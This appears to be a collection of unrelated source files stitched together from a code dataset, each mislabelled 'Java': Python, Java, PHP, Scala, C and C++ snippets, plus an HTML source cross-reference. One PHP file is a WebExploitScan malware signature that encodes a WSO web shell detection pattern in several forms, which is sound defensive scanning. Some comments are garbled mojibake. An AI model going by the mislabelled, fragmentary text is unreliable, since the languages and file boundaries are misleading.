for attr in ("emDamage", "thermalDamage", "explosiveDamage", "kineticDamage"):
if mainItem.getAttribute(attr) is not None:
return True
return False
def getText(self, callingWindow, itmContext, mainItem):
return "Set {} as Damage Pattern".format(itmContext if itmContext is not None else "Item")
def activate(self, callingWindow, fullContext, mainItem, i):
fitID = self.mainFrame.getActiveFit()
Fit.getInstance().setAsPattern(fitID, mainItem)
wx.PostEvent(self.mainFrame, GE.FitChanged(fitIDs=(fitID,)))
def getBitmap(self, callingWindow, context, mainItem):
return None
AmmoToDmgPattern.register()
| Java |
package net.adanicx.cyancraft.client.model;
import cpw.mods.fml.relauncher.Side;
import cpw.mods.fml.relauncher.SideOnly;
import net.minecraft.client.model.ModelRenderer;
import net.minecraft.entity.Entity;
import net.adanicx.cyancraft.client.OpenGLHelper;
import net.adanicx.cyancraft.entities.EntityArmorStand;
@SideOnly(Side.CLIENT)
public class ModelArmorStand extends ModelArmorStandArmor {
public ModelRenderer standRightSide;
public ModelRenderer standLeftSide;
public ModelRenderer standWaist;
public ModelRenderer standBase;
public ModelArmorStand() {
this(0.0F);
}
public ModelArmorStand(float size) {
super(size, 64, 64);
bipedHead = new ModelRenderer(this, 0, 0);
bipedHead.addBox(-1.0F, -7.0F, -1.0F, 2, 7, 2, size);
bipedHead.setRotationPoint(0.0F, 0.0F, 0.0F);
bipedBody = new ModelRenderer(this, 0, 26);
bipedBody.addBox(-6.0F, 0.0F, -1.5F, 12, 3, 3, size);
bipedBody.setRotationPoint(0.0F, 0.0F, 0.0F);
bipedRightArm = new ModelRenderer(this, 24, 0);
bipedRightArm.addBox(-2.0F, -2.0F, -1.0F, 2, 12, 2, size);
bipedRightArm.setRotationPoint(-5.0F, 2.0F, 0.0F);
bipedLeftArm = new ModelRenderer(this, 32, 16);
bipedLeftArm.mirror = true;
bipedLeftArm.addBox(0.0F, -2.0F, -1.0F, 2, 12, 2, size);
bipedLeftArm.setRotationPoint(5.0F, 2.0F, 0.0F);
bipedRightLeg = new ModelRenderer(this, 8, 0);
bipedRightLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 11, 2, size);
bipedRightLeg.setRotationPoint(-1.9F, 12.0F, 0.0F);
bipedLeftLeg = new ModelRenderer(this, 40, 16);
bipedLeftLeg.mirror = true;
bipedLeftLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 11, 2, size);
bipedLeftLeg.setRotationPoint(1.9F, 12.0F, 0.0F);
standRightSide = new ModelRenderer(this, 16, 0);
standRightSide.addBox(-3.0F, 3.0F, -1.0F, 2, 7, 2, size);
standRightSide.setRotationPoint(0.0F, 0.0F, 0.0F);
standRightSide.showModel = true;
standLeftSide = new ModelRenderer(this, 48, 16);
standLeftSide.addBox(1.0F, 3.0F, -1.0F, 2, 7, 2, size);
standLeftSide.setRotationPoint(0.0F, 0.0F, 0.0F);
standWaist = new ModelRenderer(this, 0, 48);
standWaist.addBox(-4.0F, 10.0F, -1.0F, 8, 2, 2, size);
standWaist.setRotationPoint(0.0F, 0.0F, 0.0F);
standBase = new ModelRenderer(this, 0, 32);
standBase.addBox(-6.0F, 11.0F, -6.0F, 12, 1, 12, size);
standBase.setRotationPoint(0.0F, 12.0F, 0.0F);
}
@Override
public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity entity) {
super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, entity);
if (entity instanceof EntityArmorStand) {
EntityArmorStand stand = (EntityArmorStand) entity;
bipedLeftArm.showModel = stand.getShowArms();
bipedRightArm.showModel = stand.getShowArms();
standBase.showModel = !stand.hasNoBasePlate();
bipedLeftLeg.setRotationPoint(1.9F, 12.0F, 0.0F);
bipedRightLeg.setRotationPoint(-1.9F, 12.0F, 0.0F);
standRightSide.rotateAngleX = 0.017453292F * stand.getBodyRotation().getX();
standRightSide.rotateAngleY = 0.017453292F * stand.getBodyRotation().getY();
standRightSide.rotateAngleZ = 0.017453292F * stand.getBodyRotation().getZ();
standLeftSide.rotateAngleX = 0.017453292F * stand.getBodyRotation().getX();
standLeftSide.rotateAngleY = 0.017453292F * stand.getBodyRotation().getY();
standLeftSide.rotateAngleZ = 0.017453292F * stand.getBodyRotation().getZ();
standWaist.rotateAngleX = 0.017453292F * stand.getBodyRotation().getX();
standWaist.rotateAngleY = 0.017453292F * stand.getBodyRotation().getY();
standWaist.rotateAngleZ = 0.017453292F * stand.getBodyRotation().getZ();
standBase.rotateAngleX = 0.0F;
standBase.rotateAngleY = 0.017453292F * -entity.rotationYaw;
standBase.rotateAngleZ = 0.0F;
}
}
@Override
public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_) {
super.render(p_78088_1_, p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_);
OpenGLHelper.pushMatrix();
if (isChild) {
float f6 = 2.0F;
OpenGLHelper.scale(1.0F / f6, 1.0F / f6, 1.0F / f6);
OpenGLHelper.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
standRightSide.render(p_78088_7_);
standLeftSide.render(p_78088_7_);
standWaist.render(p_78088_7_);
standBase.render(p_78088_7_);
} else {
if (p_78088_1_.isSneaking())
OpenGLHelper.translate(0.0F, 0.2F, 0.0F);
standRightSide.render(p_78088_7_);
standLeftSide.render(p_78088_7_);
standWaist.render(p_78088_7_);
standBase.render(p_78088_7_);
}
OpenGLHelper.popMatrix();
}
}
| Java |
<?php include 'common_header.php'; ?>
<!-- Settings View Title -->
<h3><?php e($title); ?></h3>
<!-- Pasephrase Reset Form -->
<form id="settings_account_reset" class="rounded" action="<?php u('/settings/accounts/reset'); ?>" method="post" accept-charset="UTF-8" enctype="multipart/form-data">
<fieldset>
<?php $alias = $account->get_default_alias(); ?>
Do you want to <strong>RESET</strong> the passphrase for <strong><?php e($alias->name); ?></strong> (<?php e($alias->email); ?>) ?
<br />
<?php e($alias->name); ?> will no longer be able to log in using the old passphrase.
<br /><br />
</fieldset>
<fieldset>
<p style="margin-bottom: 16px">
<label for="pass1">New Passphrase</label><br />
<input type="password" id="pass1" name="pass1" value="" />
</p>
<p style="margin-bottom: 32px">
<label for="pass2">New Passphrase (Repeat)</label><br />
<input type="password" id="pass2" name="pass2" value="" />
</p>
</fieldset>
<fieldset>
<?php \Common\Session::add_token($token = \Common\Security::get_random(16)); ?>
<input type="hidden" name="account_id" value="<?php e($account->id); ?>" />
<input type="hidden" name="csrf_token" id="csrf_token" value="<?php e($token); ?>" />
</fieldset>
<fieldset>
<button type="submit" class="rounded" name="button" value="yes">Reset Passphrase</button>
<button type="submit" class="rounded" name="button" value="no">Cancel</button>
</fieldset>
</form>
<!-- Standard Footers -->
<?php include 'common_footer.php'; ?> | Java |
"""import portalocker
with portalocker.Lock('text.txt', timeout=5) as fh:
fh.write("Sono in testLoxk2.py")
"""
from lockfile import LockFile
lock = LockFile('text.txt')
with lock:
print lock.path, 'is locked.'
with open('text.txt', "a") as file:
file.write("Sono in testLock2.py")
| Java |
package ctlmc.bddgraph
import ctlmc.spec._
import ctlmc._
class GraphFactorySpec extends UnitSpec {
test("Creation") {
val factory = new GraphFactory()
}
}
class GraphSpec extends UnitSpec {
val factory = new GraphFactory()
factory.setParameters(Array(
("v1", (Array("F", "T").zipWithIndex.toMap, 0)),
("v2", (Array("F", "T").zipWithIndex.toMap, 1)),
("v3", (Array("F", "T").zipWithIndex.toMap, 2)),
("v4", (Array("F", "T").zipWithIndex.toMap, 3)),
("v5", (Array("F", "T").zipWithIndex.toMap, 4))
).toMap)
val params = Array[Int](0, 0, 0, 0, 0)
test("Single var State comparison, positive") {
assert(factory.createState(params).set(1, 1)
== factory.createState(params).set(1, 1))
}
test("Single var State comparison, negative") {
assert(factory.createState(params).set(1, 1)
!= factory.createState(params).set(2, 1))
}
test("Full StateSet comparison") {
assert(factory.createFullStateSet() == factory.createFullStateSet())
}
test("Empty StateSet comparison") {
assert(factory.createEmptyStateSet() == factory.createEmptyStateSet())
}
test("Custom StateSet comparison, positive 1") {
val s0 = factory.createState(params).set(1, 1)
assert(factory.createStateSet(s0) == factory.createStateSet(s0))
}
test("Custom StateSet comparison, positive 2") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
assert(factory.createStateSet(Array(s0, s1))
== factory.createStateSet(Array(s1, s0)))
}
test("Custom StateSet comparison, negative") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
assert(factory.createStateSet(s0) != factory.createStateSet(s1))
}
test("Graph size") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
val s2 = factory.createState(params).set(2, 1)
val graph = factory.createGraph(Array(
factory.createEdge(s0, s1),
factory.createEdge(s1, s2),
factory.createEdge(s2, s0)
))
assert(graph.countEdges == 3)
}
test("Preimage, segment") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
val graph = factory.createGraph(Array(
factory.createEdge(s0, s1)
))
val set = factory.createStateSet(s1)
val pre = graph.preimage(set)
assert(pre == factory.createStateSet(s0))
}
test("Preimage, line") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
val s2 = factory.createState(params).set(2, 1)
val graph = factory.createGraph(Array(
factory.createEdge(s0, s1),
factory.createEdge(s1, s2),
factory.createEdge(s2, s0)
))
val set = factory.createStateSet(s2)
val pre = graph.preimage(set)
assert(pre == factory.createStateSet(s1))
}
test("Preimage, triangle") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
val s2 = factory.createState(params).set(2, 1)
val graph = factory.createGraph(Array(
factory.createEdge(s0, s1),
factory.createEdge(s1, s2),
factory.createEdge(s2, s0)
))
val set = factory.createStateSet(s0)
val pre = graph.preimage(set)
assert(pre == factory.createStateSet(s2))
}
}
| Java |
# This module is for compatibility only. All functions are defined elsewhere.
__all__ = ['rand', 'tril', 'trapz', 'hanning', 'rot90', 'triu', 'diff', 'angle',
'roots', 'ptp', 'kaiser', 'randn', 'cumprod', 'diag', 'msort',
'LinearAlgebra', 'RandomArray', 'prod', 'std', 'hamming', 'flipud',
'max', 'blackman', 'corrcoef', 'bartlett', 'eye', 'squeeze', 'sinc',
'tri', 'cov', 'svd', 'min', 'median', 'fliplr', 'eig', 'mean']
import numpy.oldnumeric.linear_algebra as LinearAlgebra
import numpy.oldnumeric.random_array as RandomArray
from numpy import tril, trapz as _Ntrapz, hanning, rot90, triu, diff, \
angle, roots, ptp as _Nptp, kaiser, cumprod as _Ncumprod, \
diag, msort, prod as _Nprod, std as _Nstd, hamming, flipud, \
amax as _Nmax, amin as _Nmin, blackman, bartlett, \
squeeze, sinc, median, fliplr, mean as _Nmean, transpose
from numpy.linalg import eig, svd
from numpy.random import rand, randn
import numpy as np
from typeconv import convtypecode
def eye(N, M=None, k=0, typecode=None, dtype=None):
""" eye returns a N-by-M 2-d array where the k-th diagonal is all ones,
and everything else is zeros.
"""
dtype = convtypecode(typecode, dtype)
if M is None: M = N
m = np.equal(np.subtract.outer(np.arange(N), np.arange(M)),-k)
if m.dtype != dtype:
return m.astype(dtype)
def tri(N, M=None, k=0, typecode=None, dtype=None):
""" returns a N-by-M array where all the diagonals starting from
lower left corner up to the k-th are all ones.
"""
dtype = convtypecode(typecode, dtype)
if M is None: M = N
m = np.greater_equal(np.subtract.outer(np.arange(N), np.arange(M)),-k)
if m.dtype != dtype:
return m.astype(dtype)
def trapz(y, x=None, axis=-1):
return _Ntrapz(y, x, axis=axis)
def ptp(x, axis=0):
return _Nptp(x, axis)
def cumprod(x, axis=0):
return _Ncumprod(x, axis)
def max(x, axis=0):
return _Nmax(x, axis)
def min(x, axis=0):
return _Nmin(x, axis)
def prod(x, axis=0):
return _Nprod(x, axis)
def std(x, axis=0):
N = asarray(x).shape[axis]
return _Nstd(x, axis)*sqrt(N/(N-1.))
def mean(x, axis=0):
return _Nmean(x, axis)
# This is exactly the same cov function as in MLab
def cov(m, y=None, rowvar=0, bias=0):
if y is None:
y = m
else:
y = y
if rowvar:
m = transpose(m)
y = transpose(y)
if (m.shape[0] == 1):
m = transpose(m)
if (y.shape[0] == 1):
y = transpose(y)
N = m.shape[0]
if (y.shape[0] != N):
raise ValueError("x and y must have the same number of observations")
m = m - _Nmean(m,axis=0)
y = y - _Nmean(y,axis=0)
if bias:
fact = N*1.0
else:
fact = N-1.0
return squeeze(dot(transpose(m), conjugate(y)) / fact)
from numpy import sqrt, multiply
def corrcoef(x, y=None):
c = cov(x, y)
d = diag(c)
return c/sqrt(multiply.outer(d,d))
from compat import *
from functions import *
from precision import *
from ufuncs import *
from misc import *
import compat
import precision
import functions
import misc
import ufuncs
import numpy
__version__ = numpy.__version__
del numpy
__all__ += ['__version__']
__all__ += compat.__all__
__all__ += precision.__all__
__all__ += functions.__all__
__all__ += ufuncs.__all__
__all__ += misc.__all__
del compat
del functions
del precision
del ufuncs
del misc
| Java |
<?php
/**
* WES WebExploitScan Web GPLv4 http://github.com/libre/webexploitscan
*
* The PHP page that serves all page requests on WebExploitScan installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All WebExploitScan code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/
$NAME='Php-MS-PHP-Antimalware-Scanner malware_signature- ID 2369';
$TAGCLEAR='WSOsetcookie(md5(@?$_SERVER[[\'"]HTTP_HOST[\'"]])';
$TAGBASE64='V1NPc2V0Y29va2llKG1kNShAPyRfU0VSVkVSW1tcJyJdSFRUUF9IT1NUW1wnIl1dKQ==';
$TAGHEX='57534f736574636f6f6b6965286d643528403f245f5345525645525b5b5c27225d485454505f484f53545b5c27225d5d29';
$TAGHEXPHP='';
$TAGURI='WSOsetcookie%28md5%28%40%3F%24_SERVER%5B%5B%5C%27%22%5DHTTP_HOST%5B%5C%27%22%5D%5D%29';
$TAGCLEAR2='';
$TAGBASE642='';
$TAGHEX2='';
$TAGHEXPHP2='';
$TAGURI2='';
$DATEADD='10/09/2019';
$LINK='Webexploitscan.org ;Php-MS-PHP-Antimalware-Scanner malware_signature- ID 2369 ';
$ACTIVED='1';
$VSTATR='malware_signature';
| Java |
#include "config.h"
#include "hardware.h"
#include "data.h"
#include "instruction.h"
#include "rung.h"
#include "plclib.h"
#include "project.h"
int project_task(plc_t p)
{ //
/**************start editing here***************************/
BYTE one, two, three;
one = resolve(p, BOOL_DI, 1);
two = fe(p, BOOL_DI, 2);
three = re(p, BOOL_DI, 3);
/* contact(p,BOOL_DQ,1,one);
contact(p,BOOL_DQ,2,two);
contact(p,BOOL_DQ,3,three); */
if (one)
set(p, BOOL_TIMER, 0);
if (three)
reset(p, BOOL_TIMER, 0);
if (two)
down_timer(p, 0);
return 0;
/***************end of editable portion***********************/
}
int project_init()
{
/*********************same here******************************/
return 0;
}
| Java |
#include <vgStableHeaders.h>
#include "vgentry/vgSound3DEntry.h"
#include <vgUIController/vgPropertyPage.h>
#include <vgUIController/vgUIController.h>
#include <vgKernel/vgkVec3.h>
#include <vgMesh/vgmMeshManager.h>
//#include <vgMath/vgfVector3.h>
#include <vgKernel/vgkSelectManager.h>
PropertiesParam vgSound3DEntry::s_ParamArray[s_NumOfParam];
vgSound3DEntry::vgSound3DEntry(vgSound::Sound3D* renderer)
:vgBaseEntry( renderer )
{
sound= (vgSound::Sound3D *)renderer;
if (sound)
{
m_sCaption = sound->getName();
b_play = sound->getPlayFlag();
x = sound->getSoundPos().x + vgKernel::CoordSystem::getSingleton().getProjectionCoord().x;
y = sound->getSoundPos().y + vgKernel::CoordSystem::getSingleton().getProjectionCoord().y;
z = sound->getSoundPos().z + vgKernel::CoordSystem::getSingleton().getProjectionCoord().z;
zMinus = -z;
sound->registerObserver( this );
vgKernel::CoordSystem::getSingleton().registerObserver(this);
}
}
vgSound3DEntry::~vgSound3DEntry(void)
{
sound->unregisterObserver( this );
sound = NULL;
}
void vgSound3DEntry::OnPropertyChanged(string paramName)
{
z = - zMinus;
vgSound::Sound3D *sound = (vgSound::Sound3D *)m_Renderer;
vgKernel::Vec3 aa = vgKernel::CoordSystem::getSingleton().getProjectionCoord();
sound->setAbsolutePos( x - aa.x, y - aa.y ,z - aa.z);
/* sound->GenBoundaryBox(sound->getSoundPos());*/
sound->setPlayFlag( b_play );
if (b_play)
{
sound->startPlaying( true );
}
else
sound->stopPlaying();
// ¸üÐÂTREEITEM
vgUI::UIController::getSingleton().GetWorkSpaceBar()->SetItemText(hTreeItem, m_Renderer->getName());
vgKernel::SelectManager::getSingleton().updateBox();
}
void vgSound3DEntry::onChanged(int eventId, void *param)
{
if (eventId == vgKernel::VG_OBS_PROPCHANGED)
{
vgSound::Sound3D *sound = (vgSound::Sound3D *)m_Renderer;
vgKernel::Vec3 xx = sound->getSoundPos();
x = xx.x + vgKernel::CoordSystem::getSingleton().getProjectionCoord().x;
y = xx.y + vgKernel::CoordSystem::getSingleton().getProjectionCoord().y;
z = xx.z + vgKernel::CoordSystem::getSingleton().getProjectionCoord().z;
//TRACE("New Camera Position %.2f %.2f %.2f \n", posPtr->x, posPtr->y, posPtr->z);
if (this == vgUI::UIController::getSingleton().GetCurrentSelectedNode())
{
s_ParamArray[1].pProp->SetValue(x);
s_ParamArray[2].pProp->SetValue(y);
zMinus = -z;
s_ParamArray[3].pProp->SetValue(zMinus);
}
}
if (eventId == vgKernel::VG_OBS_SELECTCHAGNED)
{
vgUI::UIController::getSingleton().SelectNode(this);
}
if (eventId == vgKernel::VG_OBS_ADDSELECTION)
{
vgUI::UIController::getSingleton().AddSelection(this);
return ;
}
}
void vgSound3DEntry::AddNodeTabs()
{
vgUI::UIController::getSingleton().RemoveAllPages();
vgPropertiesViewBar* pageViewBar = vgUI::UIController::getSingleton().GetPropertiesViewBar();
s_ParamArray[0].label = "×ø±êÖµÉèÖÃ";
s_ParamArray[0].typeId = PROP_ITEM_GROUP;
s_ParamArray[0].dataType = PROP_DATA_NONE;
s_ParamArray[0].connectedPtr = NULL;
s_ParamArray[0].comment = "ÉèÖÃÏà»úµÄ×ø±ê";
s_ParamArray[1].label = "X ×ø±ê";
s_ParamArray[1].typeId = PROP_ITEM_DATA;
s_ParamArray[1].dataType = PROP_DATA_FLOAT;
s_ParamArray[1].connectedPtr = &x;
s_ParamArray[1].comment = "ÉèÖÃX×ø±ê";
s_ParamArray[2].label = "Y ×ø±ê";
s_ParamArray[2].typeId = PROP_ITEM_DATA;
s_ParamArray[2].dataType = PROP_DATA_FLOAT;
s_ParamArray[2].connectedPtr = &y;
s_ParamArray[2].comment = "ÉèÖÃY×ø±ê";
s_ParamArray[3].label = "Z ×ø±ê";
s_ParamArray[3].typeId = PROP_ITEM_DATA;
s_ParamArray[3].dataType = PROP_DATA_FLOAT;
s_ParamArray[3].connectedPtr = &zMinus;
s_ParamArray[3].comment = "ÉèÖÃZ×ø±ê";
s_ParamArray[4].label = "ÆäËûÉèÖÃ";
s_ParamArray[4].typeId = PROP_ITEM_GROUP;
s_ParamArray[4].dataType = PROP_DATA_NONE;
s_ParamArray[4].connectedPtr = NULL;
s_ParamArray[4].comment = string();
s_ParamArray[5].label = "ÒôЧÃû³Æ";
s_ParamArray[5].typeId = PROP_ITEM_DATA;
s_ParamArray[5].dataType = PROP_DATA_STR;
s_ParamArray[5].connectedPtr = m_Renderer->getNamePtr();
s_ParamArray[5].comment = "ÎïÌåµÄÃû³Æ";
s_ParamArray[6].label = "ÊÇ·ñ²¥·Å";
s_ParamArray[6].typeId = PROP_ITEM_DATA;
s_ParamArray[6].dataType = PROP_DATA_BOOL;
s_ParamArray[6].connectedPtr = &b_play;
s_ParamArray[6].comment = "ÊÇ·ñ²¥·Å";
vgPropertyPage* propPage = vgUI::UIController::getSingleton().GetPropPage();
propPage->Create(NIDD_PROPERTY, pageViewBar->GetTabControl());
propPage->ConnectNode(this, s_ParamArray, s_NumOfParam);
pageViewBar->AddTab("×Ô¶¯ÊôÐÔ", propPage);
}
CMenu* vgSound3DEntry::GetContextMenu()
{
CMenu *menu = new CMenu;
VERIFY(menu->CreatePopupMenu());
// VERIFY(menu->AppendMenu(MF_STRING, NID_MESH_GOTO, _T("תµ½")));
VERIFY(menu->AppendMenu(MF_STRING, NID_MESH_DELETE,_T("ɾ³ý")));
return menu;
}
| Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>CommandManager xref</title>
<link type="text/css" rel="stylesheet" href="../../../../stylesheet.css" />
</head>
<body>
<div id="overview"><a href="../../../../../apidocs/fspotcloud/server/model/command/CommandManager.html">View Javadoc</a></div><pre>
<a class="jxr_linenumber" name="1" href="#1">1</a> <strong class="jxr_keyword">package</strong> fspotcloud.server.model.command;
<a class="jxr_linenumber" name="2" href="#2">2</a>
<a class="jxr_linenumber" name="3" href="#3">3</a> <strong class="jxr_keyword">import</strong> java.util.List;
<a class="jxr_linenumber" name="4" href="#4">4</a>
<a class="jxr_linenumber" name="5" href="#5">5</a> <strong class="jxr_keyword">import</strong> javax.jdo.PersistenceManager;
<a class="jxr_linenumber" name="6" href="#6">6</a> <strong class="jxr_keyword">import</strong> javax.jdo.Query;
<a class="jxr_linenumber" name="7" href="#7">7</a>
<a class="jxr_linenumber" name="8" href="#8">8</a> <strong class="jxr_keyword">import</strong> com.google.inject.Inject;
<a class="jxr_linenumber" name="9" href="#9">9</a> <strong class="jxr_keyword">import</strong> com.google.inject.Provider;
<a class="jxr_linenumber" name="10" href="#10">10</a>
<a class="jxr_linenumber" name="11" href="#11">11</a> <strong class="jxr_keyword">import</strong> fspotcloud.server.model.api.Command;
<a class="jxr_linenumber" name="12" href="#12">12</a> <strong class="jxr_keyword">import</strong> fspotcloud.server.model.api.Commands;
<a class="jxr_linenumber" name="13" href="#13">13</a>
<a class="jxr_linenumber" name="14" href="#14">14</a> <strong class="jxr_keyword">public</strong> <strong class="jxr_keyword">class</strong> <a href="../../../../fspotcloud/server/model/command/CommandManager.html">CommandManager</a> <strong class="jxr_keyword">implements</strong> <a href="../../../../fspotcloud/server/model/api/Commands.html">Commands</a> {
<a class="jxr_linenumber" name="15" href="#15">15</a>
<a class="jxr_linenumber" name="16" href="#16">16</a> <strong class="jxr_keyword">private</strong> <strong class="jxr_keyword">final</strong> Provider<PersistenceManager> pmProvider;
<a class="jxr_linenumber" name="17" href="#17">17</a>
<a class="jxr_linenumber" name="18" href="#18">18</a> @Inject
<a class="jxr_linenumber" name="19" href="#19">19</a> <strong class="jxr_keyword">public</strong> <a href="../../../../fspotcloud/server/model/command/CommandManager.html">CommandManager</a>(Provider<PersistenceManager> pmProvider) {
<a class="jxr_linenumber" name="20" href="#20">20</a> <strong class="jxr_keyword">this</strong>.pmProvider = pmProvider;
<a class="jxr_linenumber" name="21" href="#21">21</a> }
<a class="jxr_linenumber" name="22" href="#22">22</a>
<a class="jxr_linenumber" name="23" href="#23">23</a> <em class="jxr_comment">/*</em>
<a class="jxr_linenumber" name="24" href="#24">24</a> <em class="jxr_comment"> * (non-Javadoc)</em>
<a class="jxr_linenumber" name="25" href="#25">25</a> <em class="jxr_comment"> * </em>
<a class="jxr_linenumber" name="26" href="#26">26</a> <em class="jxr_comment"> * @see fspotcloud.server.model.command.Commands#create()</em>
<a class="jxr_linenumber" name="27" href="#27">27</a> <em class="jxr_comment"> */</em>
<a class="jxr_linenumber" name="28" href="#28">28</a> <strong class="jxr_keyword">public</strong> <a href="../../../../fspotcloud/server/model/api/Command.html">Command</a> create() {
<a class="jxr_linenumber" name="29" href="#29">29</a> <strong class="jxr_keyword">return</strong> <strong class="jxr_keyword">new</strong> <a href="../../../../fspotcloud/server/model/command/CommandDO.html">CommandDO</a>();
<a class="jxr_linenumber" name="30" href="#30">30</a> }
<a class="jxr_linenumber" name="31" href="#31">31</a>
<a class="jxr_linenumber" name="32" href="#32">32</a> <em class="jxr_comment">/*</em>
<a class="jxr_linenumber" name="33" href="#33">33</a> <em class="jxr_comment"> * (non-Javadoc)</em>
<a class="jxr_linenumber" name="34" href="#34">34</a> <em class="jxr_comment"> * </em>
<a class="jxr_linenumber" name="35" href="#35">35</a> <em class="jxr_comment"> * @see fspotcloud.server.model.command.Commands#popOldestCommand()</em>
<a class="jxr_linenumber" name="36" href="#36">36</a> <em class="jxr_comment"> */</em>
<a class="jxr_linenumber" name="37" href="#37">37</a> @SuppressWarnings(<span class="jxr_string">"unchecked"</span>)
<a class="jxr_linenumber" name="38" href="#38">38</a> <strong class="jxr_keyword">public</strong> Object[] popOldestCommand() {
<a class="jxr_linenumber" name="39" href="#39">39</a> PersistenceManager pm = pmProvider.get();
<a class="jxr_linenumber" name="40" href="#40">40</a> <strong class="jxr_keyword">try</strong> {
<a class="jxr_linenumber" name="41" href="#41">41</a> Query query = pm.newQuery(CommandDO.<strong class="jxr_keyword">class</strong>);
<a class="jxr_linenumber" name="42" href="#42">42</a> query.setOrdering(<span class="jxr_string">"ctime"</span>);
<a class="jxr_linenumber" name="43" href="#43">43</a> query.setRange(0, 1);
<a class="jxr_linenumber" name="44" href="#44">44</a> List<CommandDO> cmdList = (List<CommandDO>) query.execute();
<a class="jxr_linenumber" name="45" href="#45">45</a> <strong class="jxr_keyword">if</strong> (cmdList.size() > 0) {
<a class="jxr_linenumber" name="46" href="#46">46</a> Command oldest = cmdList.get(0);
<a class="jxr_linenumber" name="47" href="#47">47</a> Object[] result = <strong class="jxr_keyword">new</strong> Object[2];
<a class="jxr_linenumber" name="48" href="#48">48</a> result[0] = oldest.getCmd();
<a class="jxr_linenumber" name="49" href="#49">49</a> result[1] = oldest.getArgs().toArray();
<a class="jxr_linenumber" name="50" href="#50">50</a> pm.deletePersistent(oldest);
<a class="jxr_linenumber" name="51" href="#51">51</a> <strong class="jxr_keyword">return</strong> result;
<a class="jxr_linenumber" name="52" href="#52">52</a> } <strong class="jxr_keyword">else</strong> {
<a class="jxr_linenumber" name="53" href="#53">53</a> <strong class="jxr_keyword">return</strong> <strong class="jxr_keyword">new</strong> Object[] {};
<a class="jxr_linenumber" name="54" href="#54">54</a> }
<a class="jxr_linenumber" name="55" href="#55">55</a> } <strong class="jxr_keyword">finally</strong> {
<a class="jxr_linenumber" name="56" href="#56">56</a> pm.close();
<a class="jxr_linenumber" name="57" href="#57">57</a> }
<a class="jxr_linenumber" name="58" href="#58">58</a> }
<a class="jxr_linenumber" name="59" href="#59">59</a>
<a class="jxr_linenumber" name="60" href="#60">60</a> <em class="jxr_comment">/*</em>
<a class="jxr_linenumber" name="61" href="#61">61</a> <em class="jxr_comment"> * (non-Javadoc)</em>
<a class="jxr_linenumber" name="62" href="#62">62</a> <em class="jxr_comment"> * </em>
<a class="jxr_linenumber" name="63" href="#63">63</a> <em class="jxr_comment"> * @see</em>
<a class="jxr_linenumber" name="64" href="#64">64</a> <em class="jxr_comment"> * fspotcloud.server.model.command.Commands#allReadyExists(java.lang.String,</em>
<a class="jxr_linenumber" name="65" href="#65">65</a> <em class="jxr_comment"> * java.util.List)</em>
<a class="jxr_linenumber" name="66" href="#66">66</a> <em class="jxr_comment"> */</em>
<a class="jxr_linenumber" name="67" href="#67">67</a> @SuppressWarnings(<span class="jxr_string">"unchecked"</span>)
<a class="jxr_linenumber" name="68" href="#68">68</a> <strong class="jxr_keyword">public</strong> <strong class="jxr_keyword">boolean</strong> allReadyExists(String cmd, List<String> args) {
<a class="jxr_linenumber" name="69" href="#69">69</a> PersistenceManager pm = pmProvider.get();
<a class="jxr_linenumber" name="70" href="#70">70</a> <strong class="jxr_keyword">try</strong> {
<a class="jxr_linenumber" name="71" href="#71">71</a> Query query = pm.newQuery(CommandDO.<strong class="jxr_keyword">class</strong>);
<a class="jxr_linenumber" name="72" href="#72">72</a> query.setFilter(<span class="jxr_string">"cmd == cmdParam && argsString == argsStringParam"</span>);
<a class="jxr_linenumber" name="73" href="#73">73</a> query.declareParameters(<span class="jxr_string">"String cmdParam, String argsStringParam"</span>);
<a class="jxr_linenumber" name="74" href="#74">74</a> List<CommandDO> rs = (List<CommandDO>) query.execute(cmd,
<a class="jxr_linenumber" name="75" href="#75">75</a> String.valueOf(args));
<a class="jxr_linenumber" name="76" href="#76">76</a> <strong class="jxr_keyword">return</strong> rs.size() > 0;
<a class="jxr_linenumber" name="77" href="#77">77</a> } <strong class="jxr_keyword">finally</strong> {
<a class="jxr_linenumber" name="78" href="#78">78</a> pm.close();
<a class="jxr_linenumber" name="79" href="#79">79</a> }
<a class="jxr_linenumber" name="80" href="#80">80</a> }
<a class="jxr_linenumber" name="81" href="#81">81</a>
<a class="jxr_linenumber" name="82" href="#82">82</a> <em class="jxr_comment">/*</em>
<a class="jxr_linenumber" name="83" href="#83">83</a> <em class="jxr_comment"> * (non-Javadoc)</em>
<a class="jxr_linenumber" name="84" href="#84">84</a> <em class="jxr_comment"> * </em>
<a class="jxr_linenumber" name="85" href="#85">85</a> <em class="jxr_comment"> * @see</em>
<a class="jxr_linenumber" name="86" href="#86">86</a> <em class="jxr_comment"> * fspotcloud.server.model.command.Commands#save(fspotcloud.server.model</em>
<a class="jxr_linenumber" name="87" href="#87">87</a> <em class="jxr_comment"> * .command.Command)</em>
<a class="jxr_linenumber" name="88" href="#88">88</a> <em class="jxr_comment"> */</em>
